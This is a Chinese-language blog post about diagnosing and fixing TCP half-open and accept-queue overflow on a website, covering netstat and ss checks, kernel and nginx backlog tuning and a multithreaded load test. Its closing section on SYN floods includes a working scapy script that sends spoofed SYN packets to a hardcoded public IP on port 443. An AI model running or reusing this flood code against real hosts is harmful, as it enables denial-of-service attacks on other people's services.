TCP半连接队列和全连接队列的可能和出现问题和解决方案

问题描述

监控系统发现电商网站主页及其它页面间歇性的无法访问；

查看安全防护和网络流量、应用系统负载均正常；

系统重启后，能够暂时解决，但持续一段时间后间歇性问题再次出现。

此时问题已影响到整个网站的正常业务，我那个心惊呀，最主要是报警系统没有任何报警，服务运行一切正常，瞬时背上的汗已经出来了。但还是要静心，来仔细寻找蛛丝马迹，来一步一步找问题。

问题初步判断

检查dev 和 网卡设备层，是否有error和drop ，分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig

观察socket overflow  和 socket droped（如果应用处理全连接队列（accept queue）过慢 socket overflow，影响半连接队列(syn queue)溢出socket dropped）----- 命令 netstat -s |grep -i listen

发现SYN socket overflow  和 socket droped 急增加

检查sysctl内核参数：backlog ，somaxconn，file-max 和  应用程序的backlog ；

ss -lnt查询，SEND-Q会取上述参数的最小值

发现当时队列已经超过网站80端口和443端口默认值

检查 selinux 和 NetworkManager 是否启用 ，建议禁用；

检查timestap ,reuse 启用，内核recycle是否启用，如果过NAT，禁用recycle；

抓包判断请求进来后应用处理的情况，是否收到SYN未响应情况。

深入分析问题 

正常TCP建连接三次握手过程：

第一步：客户端 发送 syn 到 服务端发起握手；

第二步：服务端 收到 syn后回复syn+ack给 客户端；

第三步：客户端 收到syn+ack后，回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看，TCP建连接的时候全连接队列（accept队列）满了，尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加，那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后，OS怎么处理：

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack（在server端认为连接还没建立起来）

为了证明客户端应用代码的异常跟全连接队列满有关系，我先把tcp_abort_on_overflow修改成 1，1表示第三步的时候如果全连接队列满了，server发送一个reset包给client，表示废掉这个握手过程和这个连接（本来在server端这个连接就还没建立起来）。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误，到此证明客户端错误是这个原因导致的。

查看sysctl内核参数：backlog ，somaxconn，file-max 和  nginx的backlog配置参数，ss -ln取最小值，发现为128，此时resv-q已经在129 ，请求被丢弃。将上述参数修改，并进行优化：

linux内核参进行优化：net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置参数优化：backlog=32768;

利用python 多线程压测，并未发现新的问题：

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:    for each_a_tag in soup.find_all('a'):        try:            ex.submit(requests.get,each_a_tag['href'])        except Exception as err:            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

如上图所示，这里有两个队列：syns queue(半连接队列）；accept queue（全连接队列）

三次握手中，在第一步server收到client的syn后，把相关信息放到半连接队列中，同时回复syn+ack给client（第二步）；

第三步的时候server收到client的ack，如果这时全连接队列没满，那么从半连接队列拿出相关信息放入到全连接队列中，否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话，server过一段时间再次发送syn+ack给client（也就是重新走握手的第二步），如果client超时等待比较短，就很容易异常了。

sYN Flood洪水攻击

当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，导致被攻击服务器保持大量SYN_RECV状态的“半连接”，并且会重试默认5次回应第二个握手包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不足），让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort):    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',               '125.130.5.199']    for sPort in range(1024, 65535):        index = random.randrange(4)        ipLayer = IP(src=srcList[index], dst=tgt)        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')        packet = ipLayer/tcpLayer        send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex:    try:        ex.submit(synFlood(tgt,dPort))    except Exception as err:        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视，但是又很关键，特别是对于一些短连接应用更容易爆发。

出现问题后，从网络流量、cpu、线程、负载来看都比较正常，在用户端来看rt比较高，但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱，建立起应急机机制，后续有机会写一下应急方面的文章。